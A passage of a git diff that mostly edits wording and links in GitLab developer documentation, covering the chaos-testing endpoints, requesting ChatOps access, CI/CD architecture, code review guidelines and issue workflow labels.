| `interval_s` | float | no | Interval, in seconds, for every DB request. Defaults to 1s |
-| `duration_s` | integer | no | Duration, in seconds, that the core will be used. Defaults to 30s |
+| `duration_s` | integer | no | Duration, in seconds, that the core is used. Defaults to 30s |
| `async` | boolean | no | Set to true to perform the operation in a Sidekiq background worker process |
```shell
-curl http://localhost:3000/-/chaos/db_spin?interval_s=1&duration_s=60 --header 'X-Chaos-Secret: secret'
-curl http://localhost:3000/-/chaos/db_spin?interval_s=1&duration_s=60&token=secret
+curl "http://localhost:3000/-/chaos/db_spin?interval_s=1&duration_s=60" --header 'X-Chaos-Secret: secret'
+curl "http://localhost:3000/-/chaos/db_spin?interval_s=1&duration_s=60&token=secret"
```
## Sleep
-This endpoint is similar to the CPU Spin endpoint but simulates off-processor activity, such as network calls to backend services. It will sleep for a given duration_s.
+This endpoint is similar to the CPU Spin endpoint but simulates off-processor activity, such as network calls to backend services. It sleeps for a given `duration_s`.
-As with the CPU Spin endpoint, this may lead to your request timing out if duration_s exceeds the configured limit.
+As with the CPU Spin endpoint, this may lead to your request timing out if `duration_s` exceeds the configured limit.
```plaintext
GET /-/chaos/sleep
@@ -132,17 +132,17 @@ GET /-/chaos/sleep?duration_s=50&async=true
| Attribute | Type | Required | Description |
| ------------ | ------- | -------- | ---------------------------------------------------------------------- |
-| `duration_s` | integer | no | Duration, in seconds, that the request will sleep for. Defaults to 30s |
+| `duration_s` | integer | no | Duration, in seconds, that the request sleeps for. Defaults to 30s |
| `async` | boolean | no | Set to true to sleep in a Sidekiq background worker process |
```shell
-curl http://localhost:3000/-/chaos/sleep?duration_s=60 --header 'X-Chaos-Secret: secret'
-curl http://localhost:3000/-/chaos/sleep?duration_s=60&token=secret
+curl "http://localhost:3000/-/chaos/sleep?duration_s=60" --header 'X-Chaos-Secret: secret'
+curl "http://localhost:3000/-/chaos/sleep?duration_s=60&token=secret"
```
## Kill
-This endpoint will simulate the unexpected death of a worker process using a `kill` signal.
+This endpoint simulates the unexpected death of a worker process using a `kill` signal.
Because this endpoint uses the `KILL` signal, the worker isn't given an
opportunity to cleanup or shutdown.
@@ -157,6 +157,6 @@ GET /-/chaos/kill?async=true
| `async` | boolean | no | Set to true to kill a Sidekiq background worker process |
```shell
-curl http://localhost:3000/-/chaos/kill --header 'X-Chaos-Secret: secret'
-curl http://localhost:3000/-/chaos/kill?token=secret
+curl "http://localhost:3000/-/chaos/kill" --header 'X-Chaos-Secret: secret'
+curl "http://localhost:3000/-/chaos/kill?token=secret"
```
diff --git a/doc/development/chatops_on_gitlabcom.md b/doc/development/chatops_on_gitlabcom.md
index c64766af589..a2a0005f7cb 100644
--- a/doc/development/chatops_on_gitlabcom.md
+++ b/doc/development/chatops_on_gitlabcom.md
@@ -1,31 +1,66 @@
---
stage: Configure
group: Configure
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Chatops on GitLab.com
+# ChatOps on GitLab.com
ChatOps on GitLab.com allows GitLab team members to run various automation tasks on GitLab.com using Slack.
## Requesting access
-GitLab team-members may need access to Chatops on GitLab.com for administration
+GitLab team-members may need access to ChatOps on GitLab.com for administration
tasks such as:
- Configuring feature flags.
- Running `EXPLAIN` queries against the GitLab.com production replica.
- Get deployment status of all of our environments or for a specific commit: `/chatops run auto_deploy status [commit_sha]`
-To request access to Chatops on GitLab.com:
+To request access to ChatOps on GitLab.com:
-1. Log into <https://ops.gitlab.net/users/sign_in> **using the same username** as for GitLab.com (you may have to rename it).
- 1. You could also use the "Sign in with" Google button to sign in, with your GitLab.com email address.
-1. Ask one of your team members to add you to the `chatops` project in Ops. They can do it by running `/chatops run member add <username> gitlab-com/chatops --ops` command in the `#chat-ops-test` Slack channel.
-1. If you had to change your username for GitLab.com on the first step, make sure [to reflect this information](https://gitlab.com/gitlab-com/www-gitlab-com#adding-yourself-to-the-team-page) on [the team page](https://about.gitlab.com/company/team/).
+1. Sign in to [Internal GitLab for Operations](https://ops.gitlab.net/users/sign_in)
+ with one of the following methods:
+
+ - The same username you use on GitLab.com. You may have to choose a different
+ username later.
+ - Clicking the **Sign in with Google** button to sign in with your GitLab.com email address.
+
+1. Confirm that your username in [Internal GitLab for Operations](https://ops.gitlab.net/)
+ is the same as your username in [GitLab.com](https://gitlab.com/). If the usernames
+ don't match, update the username at [Internal GitLab for Operations](https://ops.gitlab.net/).
+
+1. Comment in your onboarding issue, and tag your onboarding buddy and your manager.
+ Request they add you to the `ops` ChatOps project by running this command
+ in the `#chat-ops-test` Slack channel, replacing `<username>` with your username:
+ `/chatops run member add <username> gitlab-com/chatops --ops`
+
+ <!-- vale gitlab.FirstPerson = NO -->
+
+ > Hi `__BUDDY_HANDLE__` and `__MANAGER_HANDLE__`, could you please add me to
+ > the ChatOps project in Ops by running this command:
+ > `/chatops run member add <username> gitlab-com/chatops --ops` in the
+ > `#chat-ops-test` Slack channel? Thanks in advance.
+
+ <!-- vale gitlab.FirstPerson = YES -->
+
+1. Ensure you've set up two-factor authentication.
+1. After you're added to the ChatOps project, run this command to check your user
+ status and ensure you can execute commands in the `#chat-ops-test` Slack channel:
+
+ ```plaintext
+ /chatops run user find <username>
+ ```
+
+ The bot guides you through the process of allowing your user to execute
+ commands in the `#chat-ops-test` Slack channel.
+
+1. If you had to change your username for GitLab.com on the first step, make sure
+ [to reflect this information](https://gitlab.com/gitlab-com/www-gitlab-com#adding-yourself-to-the-team-page)
+ on [the team page](https://about.gitlab.com/company/team/).
## See also
-- [Chatops Usage](../ci/chatops/README.md)
+- [ChatOps Usage](../ci/chatops/README.md)
- [Understanding EXPLAIN plans](understanding_explain_plans.md)
- [Feature Groups](feature_flags/development.md#feature-groups)
diff --git a/doc/development/cicd/index.md b/doc/development/cicd/index.md
index 30ccc52ec5e..eede1d691a9 100644
--- a/doc/development/cicd/index.md
+++ b/doc/development/cicd/index.md
@@ -1,7 +1,7 @@
---
stage: Verify
group: Continuous Integration
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: index, concepts, howto
---
@@ -32,8 +32,8 @@ On the left side we have the events that can trigger a pipeline based on various
- When GitHub integration is used with [external pull requests](../../ci/ci_cd_for_external_repos/index.md#pipelines-for-external-pull-requests).
- When an upstream pipeline contains a [bridge job](../../ci/yaml/README.md#trigger) which triggers a downstream pipeline.
-Triggering any of these events will invoke the [`CreatePipelineService`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/services/ci/create_pipeline_service.rb)
-which takes as input event data and the user triggering it, then will attempt to create a pipeline.
+Triggering any of these events invokes the [`CreatePipelineService`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/services/ci/create_pipeline_service.rb)
+which takes as input event data and the user triggering it, then attempts to create a pipeline.
The `CreatePipelineService` relies heavily on the [`YAML Processor`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/yaml_processor.rb)
component, which is responsible for taking in a YAML blob as input and returns the abstract data structure of a
@@ -65,20 +65,20 @@ the `Runner API Gateway`.
We can register, delete, and verify runners, which also causes read/write queries to the database. After a runner is connected,
it keeps asking for the next job to execute. This invokes the [`RegisterJobService`](https://gitlab.com/gitlab-org/gitlab/blob/master/app/services/ci/register_job_service.rb)
-which will pick the next job and assign it to the runner. At this point the job will transition to a
+which picks the next job and assigns it to the runner. At this point the job transitions to a
`running` state, which again triggers `ProcessPipelineService` due to the status change.
For more details read [Job scheduling](#job-scheduling)).
While a job is being executed, the runner sends logs back to the server as well any possible artifacts
that need to be stored. Also, a job may depend on artifacts from previous jobs in order to run. In this
-case the runner will download them using a dedicated API endpoint.
+case the runner downloads them using a dedicated API endpoint.
Artifacts are stored in object storage, while metadata is kept in the database. An important example of artifacts
are reports (JUnit, SAST, DAST, etc.) which are parsed and rendered in the merge request.
Job status transitions are not all automated. A user may run [manual jobs](../../ci/yaml/README.md#whenmanual), cancel a pipeline, retry
specific failed jobs or the entire pipeline. Anything that
-causes a job to change status will trigger `ProcessPipelineService`, as it's responsible for
+causes a job to change status triggers `ProcessPipelineService`, as it's responsible for
tracking the status of the entire pipeline.
A special type of job is the [bridge job](../../ci/yaml/README.md#trigger) which is executed server-side
@@ -90,7 +90,7 @@ from the `CreatePipelineService` every time a downstream pipeline is triggered.
When a Pipeline is created all its jobs are created at once for all stages, with an initial state of `created`. This makes it possible to visualize the full content of a pipeline.
-A job with the `created` state won't be seen by the runner yet. To make it possible to assign a job to a runner, the job must transition first into the `pending` state, which can happen if:
+A job with the `created` state isn't seen by the runner yet. To make it possible to assign a job to a runner, the job must transition first into the `pending` state, which can happen if:
1. The job is created in the very first stage of the pipeline.
1. The job required a manual start and it has been triggered.
@@ -99,7 +99,7 @@ A job with the `created` state won't be seen by the runner yet. To make it possi
When the runner is connected, it requests the next `pending` job to run by polling the server continuously.
-NOTE: **Note:**
+NOTE:
API endpoints used by the runner to interact with GitLab are defined in [`lib/api/ci/runner.rb`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/api/ci/runner.rb)
After the server receives the request it selects a `pending` job based on the [`Ci::RegisterJobService` algorithm](#ciregisterjobservice), then assigns and sends the job to the runner.
@@ -134,8 +134,8 @@ There are 3 top level queries that this service uses to gather the majority of t
This list of jobs is then filtered further by matching tags between job and runner tags.
-NOTE: **Note:**
-If a job contains tags, the runner will not pick the job if it does not match **all** the tags.
+NOTE:
+If a job contains tags, the runner doesn't pick the job if it does not match **all** the tags.
The runner may have more tags than defined for the job, but not vice-versa.
Finally if the runner can only pick jobs that are tagged, all untagged jobs are filtered out.
diff --git a/doc/development/cicd/templates.md b/doc/development/cicd/templates.md
index e4c3e622ede..1ab569ba0df 100644
--- a/doc/development/cicd/templates.md
+++ b/doc/development/cicd/templates.md
@@ -1,7 +1,7 @@
---
stage: Release
-group: Progressive Delivery
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+group: Release
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: index, concepts, howto
---
diff --git a/doc/development/code_comments.md b/doc/development/code_comments.md
index d9ab719d18a..b1db781b9ee 100644
--- a/doc/development/code_comments.md
+++ b/doc/development/code_comments.md
@@ -1,14 +1,14 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Code comments
Whenever you add comment to the code that is expected to be addressed at any time
in future, please create a technical debt issue for it. Then put a link to it
-to the code comment you've created. This will allow other developers to quickly
+to the code comment you've created. This allows other developers to quickly
check if a comment is still relevant and what needs to be done to address it.
Examples:
diff --git a/doc/development/code_intelligence/index.md b/doc/development/code_intelligence/index.md
index 24abf57e9d6..c5673f6eee2 100644
--- a/doc/development/code_intelligence/index.md
+++ b/doc/development/code_intelligence/index.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Code Intelligence
@@ -10,7 +10,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
This document describes the design behind [Code Intelligence](../../user/project/code_intelligence.md).
-GitLab's built-in Code Intelligence is powered by
+The built-in Code Intelligence in GitLab is powered by
[LSIF](https://lsif.dev) and comes down to generating an LSIF document for a
project in a CI job, processing the data, uploading it as a CI artifact and
displaying this information for the files in the project.
diff --git a/doc/development/code_review.md b/doc/development/code_review.md
index 63a47240435..00f4cf90481 100644
--- a/doc/development/code_review.md
+++ b/doc/development/code_review.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Code Review Guidelines
@@ -31,7 +31,7 @@ If you need some guidance (for example, it's your first merge request), feel fre
one of the [Merge request coaches](https://about.gitlab.com/company/team/).
If you need assistance with security scans or comments, feel free to include the
-Security Team (`@gitlab-com/gl-security`) in the review.
+Application Security Team (`@gitlab-com/gl-security/appsec`) in the review.
Depending on the areas your merge request touches, it must be **approved** by one
or more [maintainers](https://about.gitlab.com/handbook/engineering/workflow/code-review/#maintainer):
@@ -40,7 +40,7 @@ For approvals, we use the approval functionality found in the merge request
widget. Reviewers can add their approval by [approving additionally](../user/project/merge_requests/merge_request_approvals.md#adding-or-removing-an-approval).
Getting your merge request **merged** also requires a maintainer. If it requires
-more than one approval, the last maintainer to review and approve it will also merge it.
+more than one approval, the last maintainer to review and approve merges it.
### Domain experts
@@ -69,7 +69,7 @@ It picks reviewers and maintainers from the list at the
[engineering projects](https://about.gitlab.com/handbook/engineering/projects/)
page, with these behaviors:
-1. It will not pick people whose [GitLab status](../user/profile/index.md#current-status)
+1. It doesn't pick people whose [GitLab status](../user/profile/index.md#current-status)
contains the string 'OOO', or the emoji is `:palm_tree:` or `:beach:`.
1. [Trainee maintainers](https://about.gitlab.com/handbook/engineering/workflow/code-review/#trainee-maintainer)
are three times as likely to be picked as other reviewers.
@@ -110,8 +110,8 @@ with [domain expertise](#domain-experts).
1. If your merge request includes a new dependency or a filesystem change, it must be
**approved by a [Distribution team member](https://about.gitlab.com/company/team/)**. See how to work with the [Distribution team](https://about.gitlab.com/handbook/engineering/development/enablement/distribution/#how-to-work-with-distribution) for more details.
1. If your merge request includes documentation changes, it must be **approved
- by a [Technical writer](https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers)**, based on
- the appropriate [product category](https://about.gitlab.com/handbook/product/product-categories/).
+ by a [Technical writer](https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments)**, based on
+ the appropriate [product category](https://about.gitlab.com/handbook/product/categories/).
1. If your merge request includes end-to-end **and** non-end-to-end changes (*3*), it must be **approved
by a [Software Engineer in Test](https://about.gitlab.com/handbook/engineering/quality/#individual-contributors)**.
1. If your merge request only includes end-to-end changes (*3*) **or** if the MR author is a [Software Engineer in Test](https://about.gitlab.com/handbook/engineering/quality/#individual-contributors), it must be **approved by a [Quality maintainer](https://about.gitlab.com/handbook/engineering/projects/#gitlab_maintainers_qa)**
@@ -156,9 +156,9 @@ up confusion or verify that the end result matches what they had in mind, to
database specialists to get input on the data model or specific queries, or to
any other developer to get an in-depth review of the solution.
-If an author is unsure if a merge request needs a [domain expert's](#domain-experts) opinion, that's
-usually a pretty good sign that it does, since without it the required level of
-confidence in their solution will not have been reached.
+If an author is unsure if a merge request needs a [domain expert's](#domain-experts) opinion,
+that indicates it does. Without it it's unlikely they have the required level of confidence in their
+solution.
Before the review, the author is requested to submit comments on the merge
request diff alerting the reviewer to anything important as well as for anything
@@ -197,18 +197,18 @@ however, if one isn't available or you think the merge request doesn't need a re
Maintainers are responsible for the overall health, quality, and consistency of
the GitLab codebase, across domains and product areas.
-Consequently, their reviews will focus primarily on things like overall
+Consequently, their reviews focus primarily on things like overall
architecture, code organization, separation of concerns, tests, DRYness,
consistency, and readability.
-Since a maintainer's job only depends on their knowledge of the overall GitLab
+Because a maintainer's job only depends on their knowledge of the overall GitLab
codebase, and not that of any specific domain, they can review, approve, and merge
merge requests from any team and in any product area.
-Maintainers will do their best to also review the specifics of the chosen solution
+Maintainers do their best to also review the specifics of the chosen solution
before merging, but as they are not necessarily [domain experts](#domain-experts), they may be poorly
placed to do so without an unreasonable investment of time. In those cases, they
-will defer to the judgment of the author and earlier reviewers, in favor of focusing on their primary responsibilities.
+defer to the judgment of the author and earlier reviewers, in favor of focusing on their primary responsibilities.
If a maintainer feels that an MR is substantial enough that it warrants a review from a [domain expert](#domain-experts),
and it is unclear whether a domain expert have been involved in the reviews to date,
@@ -259,8 +259,8 @@ Instead these should be sent to the [Release Manager](https://about.gitlab.com/c
understand" or "Alternative solution:" comments. Post a follow-up comment
summarizing one-on-one discussion.
- If you ask a question to a specific person, always start the comment by
- mentioning them; this will ensure they see it if their notification level is
- set to "mentioned" and other people will understand they don't have to respond.
+ mentioning them; this ensures they see it if their notification level is
+ set to "mentioned" and other people understand they don't have to respond.
### Having your merge request reviewed
@@ -272,8 +272,10 @@ first time.
of your shiny new branch, read through the entire diff. Does it make sense?
Did you include something unrelated to the overall purpose of the changes? Did
you forget to remove any debugging code?
+<!-- vale gitlab.FutureTense = NO -->
- Be grateful for the reviewer's suggestions. ("Good call. I'll make that
change.")
+<!-- vale gitlab.FutureTense = YES -->
- Don't take it personally. The review is of the code, not of you.
- Explain why the code exists. ("It's like that because of these reasons. Would
it be more clear if I rename this class/file/method/variable?")
@@ -361,7 +363,7 @@ your own suggestions to the merge request. Note that:
- **Before applying suggestions**, edit the merge request to make sure
[squash and
merge](../user/project/merge_requests/squash_and_merge.md#squash-and-merge)
- is enabled, otherwise, the pipeline's Danger job will fail.
+ is enabled, otherwise, the pipeline's Danger job fails.
- If a merge request does not have squash and merge enabled, and it
has more than one commit, then see the note below about rewriting
commit history.
@@ -390,10 +392,10 @@ When ready to merge:
- When you set the MR to "Merge When Pipeline Succeeds", you should take over
subsequent revisions for anything that would be spotted after that.
-Thanks to **Pipeline for Merged Results**, authors won't have to rebase their
-branch as frequently anymore (only when there are conflicts) since the Merge
-Results Pipeline will already incorporate the latest changes from `master`.
-This results in faster review/merge cycles since maintainers don't have to ask
+Thanks to **Pipeline for Merged Results**, authors no longer have to rebase their
+branch as frequently anymore (only when there are conflicts) because the Merge
+Results Pipeline already incorporate the latest changes from `master`.
+This results in faster review/merge cycles because maintainers don't have to ask
for a final rebase: instead, they only have to start a MR pipeline and set MWPS.
This step brings us very close to the actual Merge Trains feature by testing the
Merge Results against the latest `master` at the time of the pipeline creation.
@@ -451,7 +453,7 @@ Enterprise Edition instance. This has some implications:
1. Reversible.
1. Performant at the scale of GitLab.com - ask a maintainer to test the
migration on the staging environment if you aren't sure.
- 1. Categorised correctly:
+ 1. Categorized correctly:
- Regular migrations run before the new code is running on the instance.
- [Post-deployment migrations](post_deployment_migrations.md) run _after_
the new code is deployed, when the instance is configured to do that.
@@ -459,14 +461,14 @@ Enterprise Edition instance. This has some implications:
should only be done for migrations that would take an extreme amount of
time at GitLab.com scale.
1. **Sidekiq workers** [cannot change in a backwards-incompatible way](sidekiq_style_guide.md#sidekiq-compatibility-across-updates):
- 1. Sidekiq queues are not drained before a deploy happens, so there will be
+ 1. Sidekiq queues are not drained before a deploy happens, so there are
workers in the queue from the previous version of GitLab.
1. If you need to change a method signature, try to do so across two releases,
and accept both the old and new arguments in the first of those.
1. Similarly, if you need to remove a worker, stop it from being scheduled in
- one release, then remove it in the next. This will allow existing jobs to
+ one release, then remove it in the next. This allows existing jobs to
execute.
- 1. Don't forget, not every instance will upgrade to every intermediate version
+ 1. Don't forget, not every instance is upgraded to every intermediate version
(some people may go from X.1.0 to X.10.0, or even try bigger upgrades!), so
try to be liberal in accepting the old format if it is cheap to do so.
1. **Cached values** may persist across releases. If you are changing the type a
@@ -478,12 +480,12 @@ Enterprise Edition instance. This has some implications:
1. Try to avoid that, and add to `ApplicationSetting` instead.
1. Ensure that it is also
[added to Omnibus](https://docs.gitlab.com/omnibus/settings/gitlab.yml.html#adding-a-new-setting-to-gitlab-yml).
-1. **Filesystem access** can be slow, so try to avoid
+1. **File system access** can be slow, so try to avoid
[shared files](shared_files.md) when an alternative solution is available.
### Review turnaround time
-Since [unblocking others is always a top priority](https://about.gitlab.com/handbook/values/#global-optimization),
+Because [unblocking others is always a top priority](https://about.gitlab.com/handbook/values/#global-optimization),
reviewers are expected to review assigned merge requests in a timely manner,
even when this may negatively impact their other tasks and priorities.
@@ -496,15 +498,15 @@ To ensure swift feedback to ready-to-review code, we maintain a `Review-response
> - review-response SLO = (time when first review response is provided) - (time MR is assigned to reviewer) < 2 business days
-If you don't think you'll be able to review a merge request within the `Review-response` SLO
+If you don't think you can review a merge request in the `Review-response` SLO
time frame, let the author know as soon as possible and try to help them find
-another reviewer or maintainer who will be able to, so that they can be unblocked
+another reviewer or maintainer who is able to, so that they can be unblocked
and get on with their work quickly.
If you think you are at capacity and are unable to accept any more reviews until
some have been completed, communicate this through your GitLab status by setting
the `:red_circle:` emoji and mentioning that you are at capacity in the status
-text. This will guide contributors to pick a different reviewer, helping us to
+text. This guides contributors to pick a different reviewer, helping us to
meet the SLO.
Of course, if you are out of office and have
@@ -522,13 +524,13 @@ A merge request may benefit from being considered a customer critical priority b
Properties of customer critical merge requests:
-- The [Senior Director of Development](https://about.gitlab.com/job-families/engineering/engineering-management/#senior-director-engineering) ([@clefelhocz1](https://gitlab.com/clefelhocz1)) is the DRI for deciding if a merge request will be customer critical.
-- The DRI will assign the `customer-critical-merge-request` label to the merge request.
+- The [Senior Director of Development](https://about.gitlab.com/job-families/engineering/engineering-management/#senior-director-engineering) ([@clefelhocz1](https://gitlab.com/clefelhocz1)) is the DRI for deciding if a merge request is customer critical.
+- The DRI assigns the `customer-critical-merge-request` label to the merge request.
- It is required that the reviewer(s) and maintainer(s) involved with a customer critical merge request are engaged as soon as this decision is made.
- It is required to prioritize work for those involved on a customer critical merge request so that they have the time available necessary to focus on it.
- It is required to adhere to GitLab [values](https://about.gitlab.com/handbook/values/) and processes when working on customer critical merge requests, taking particular note of family and friends first/work second, definition of done, iteration, and release when it's ready.
- Customer critical merge requests are required to not reduce security, introduce data-loss risk, reduce availability, nor break existing functionality per the process for [prioritizing technical decisions](https://about.gitlab.com/handbook/engineering/#prioritizing-technical-decisions.md).
-- On customer critical requests, it is _recommended_ that those involved _consider_ coordinating synchronously (Zoom, Slack) in addition to asynchronously (merge requests comments) if they believe this will reduce elapsed time to merge even though this _may_ sacrifice [efficiency](https://about.gitlab.com/company/culture/all-remote/asynchronous/#evaluating-efficiency.md).
+- On customer critical requests, it is _recommended_ that those involved _consider_ coordinating synchronously (Zoom, Slack) in addition to asynchronously (merge requests comments) if they believe this may reduce the elapsed time to merge even though this _may_ sacrifice [efficiency](https://about.gitlab.com/company/culture/all-remote/asynchronous/#evaluating-efficiency.md).
- After a customer critical merge request is merged, a retrospective must be completed with the intention of reducing the frequency of future customer critical merge requests.
## Examples
diff --git a/doc/development/contributing/community_roles.md b/doc/development/contributing/community_roles.md
index d880361e3aa..5419992517b 100644
--- a/doc/development/contributing/community_roles.md
+++ b/doc/development/contributing/community_roles.md
@@ -1,7 +1,7 @@
---
stage: none
group: Development
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Community members & roles
@@ -10,7 +10,7 @@ GitLab community members and their privileges/responsibilities.
| Roles | Responsibilities | Requirements |
|-------|------------------|--------------|
-| Maintainer | Accepts merge requests on several GitLab projects | Added to the [team page](https://about.gitlab.com/company/team/). An expert on code reviews and knows the product/code base |
+| Maintainer | Accepts merge requests on several GitLab projects | Added to the [team page](https://about.gitlab.com/company/team/). An expert on code reviews and knows the product/codebase |
| Reviewer | Performs code reviews on MRs | Added to the [team page](https://about.gitlab.com/company/team/) |
| Developer |Has access to GitLab internal infrastructure & issues (e.g. HR-related) | GitLab employee or a Core Team member (with an NDA) |
| Contributor | Can make contributions to all GitLab public projects | Have a GitLab.com account |
diff --git a/doc/development/contributing/design.md b/doc/development/contributing/design.md
index 891c764f07f..c1dd5ff4c0b 100644
--- a/doc/development/contributing/design.md
+++ b/doc/development/contributing/design.md
@@ -2,7 +2,7 @@
type: reference, dev
stage: none
group: Development
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Implement design & UI elements
diff --git a/doc/development/contributing/index.md b/doc/development/contributing/index.md
index 17431195c3d..329303558b0 100644
--- a/doc/development/contributing/index.md
+++ b/doc/development/contributing/index.md
@@ -2,7 +2,7 @@
type: reference, dev
stage: none
group: Development
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Contribute to GitLab
@@ -37,7 +37,7 @@ Report suspected security vulnerabilities in private to
`support@gitlab.com`, also see the
[disclosure section on the GitLab.com website](https://about.gitlab.com/security/disclosure/).
-DANGER: **Warning:**
+WARNING:
Do **NOT** create publicly viewable issues for suspected security vulnerabilities.
## Code of conduct
@@ -144,10 +144,10 @@ Keep the following in mind when submitting merge requests:
- When reviewers are reading through a merge request they may request guidance from other
reviewers.
-- If the code quality is found to not meet GitLab’s standards, the merge request reviewer will
+- If the code quality is found to not meet GitLab standards, the merge request reviewer will
provide guidance and refer the author to our:
- [Documentation](../documentation/styleguide/index.md) style guide.
- - Code style guides.
+ - [Code style guides](style_guides.md).
- Sometimes style guides will be followed but the code will lack structural integrity, or the
reviewer will have reservations about the code’s overall quality. When there is a reservation,
the reviewer will inform the author and provide some guidance.
diff --git a/doc/development/contributing/issue_workflow.md b/doc/development/contributing/issue_workflow.md
index 99650c24661..da38d1e73b4 100644
--- a/doc/development/contributing/issue_workflow.md
+++ b/doc/development/contributing/issue_workflow.md
@@ -2,7 +2,7 @@
type: reference, dev
stage: none
group: Development
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Issues workflow
@@ -92,7 +92,7 @@ The GitLab handbook documents [when something is a bug](https://about.gitlab.com
### Stage labels
-Stage labels specify which [stage](https://about.gitlab.com/handbook/product/product-categories/#hierarchy) the issue belongs to.
+Stage labels specify which [stage](https://about.gitlab.com/handbook/product/categories/#hierarchy) the issue belongs to.
#### Naming and color convention
@@ -136,7 +136,7 @@ The current group labels can be found by [searching the labels list for `group::
These labels are [scoped labels](../../user/project/labels.md#scoped-labels)
and thus are mutually exclusive.
-You can find the groups listed in the [Product Stages, Groups, and Categories](https://about.gitlab.com/handbook/product/product-categories/) page.
+You can find the groups listed in the [Product Stages, Groups, and Categories](https://about.gitlab.com/handbook/product/categories/) page.
We use the term group to map down product requirements from our product stages.
As a team needs some way to collect the work their members are planning to be assigned to, we use the `~group::` labels to do so.
@@ -155,7 +155,7 @@ Please read [Stage and Group labels in Throughput](https://about.gitlab.com/hand
### Category labels
From the handbook's
-[Product stages, groups, and categories](https://about.gitlab.com/handbook/product/product-categories/#hierarchy)
+[Product stages, groups, and categories](https://about.gitlab.com/handbook/product/categories/#hierarchy)
page:
> Categories are high-level capabilities that may be a standalone product at
@@ -187,7 +187,7 @@ in <https://gitlab.com/gitlab-com/www-gitlab-com/blob/master/data/categories.yml
### Feature labels
From the handbook's
-[Product stages, groups, and categories](https://about.gitlab.com/handbook/product/product-categories/#hierarchy)
+[Product stages, groups, and categories](https://about.gitlab.com/handbook/product/categories/#hierarchy)
page:
> Features: Small, discrete functionalities. e.g. Issue weights. Some common
@@ -311,7 +311,7 @@ We automatically add the ~"Accepting merge requests" label to issues
that match the [triage policy](https://about.gitlab.com/handbook/engineering/quality/triage-operations/#accepting-merge-requests).
We recommend people that have never contributed to any open source project to
-look for issues labeled `~"Accepting merge requests"` with a [weight of 1](https://gitlab.com/groups/gitlab-org/-/issues?state=opened&label_name[]=Accepting+merge+requests&assignee_id=None&sort=weight&weight=1) or the `~"Good for 1st time contributors"` [label](https://gitlab.com/gitlab-org/gitlab/-/issues?scope=all&utf8=%E2%9C%93&state=opened&label_name[]=Good%20for%201st%20time%20contributors&assignee_id=None) attached to it.
+look for issues labeled `~"Accepting merge requests"` with a [weight of 1](https://gitlab.com/groups/gitlab-org/-/issues?state=opened&label_name[]=Accepting+merge+requests&assignee_id=None&sort=weight&weight=1) or the `~"Good for new contributors"` [label](https://gitlab.com/gitlab-org/gitlab/-/issues?scope=all&utf8=%E2%9C%93&state=opened&label_name[]=good%20for%20new%20contributors&assignee_id=None) attached to it.
More experienced contributors are very welcome to tackle
[any of them](https://gitlab.com/groups/gitlab-org/-/issues?state=opened&label_name[]=Accepting+merge+requests&assignee_id=None).
@@ -410,8 +410,8 @@ in the regression issue as fixes are addressed.
## Technical and UX debt
-In order to track things that can be improved in GitLab's codebase,
-we use the ~"technical debt" label in [GitLab's issue tracker](https://gitlab.com/gitlab-org/gitlab/-/issues).
+In order to track things that can be improved in the GitLab codebase,
+we use the ~"technical debt" label in the [GitLab issue tracker](https://gitlab.com/gitlab-org/gitlab/-/issues).
For missed user experience requirements, we use the ~"UX debt" label.
These labels should be added to issues that describe things that can be improved,
diff --git a/doc/development/contributing/merge_request_workflow.md b/doc/development/contributing/merge_request_workflow.md
index d5ffff7bfc8..7859af4e88b 100644
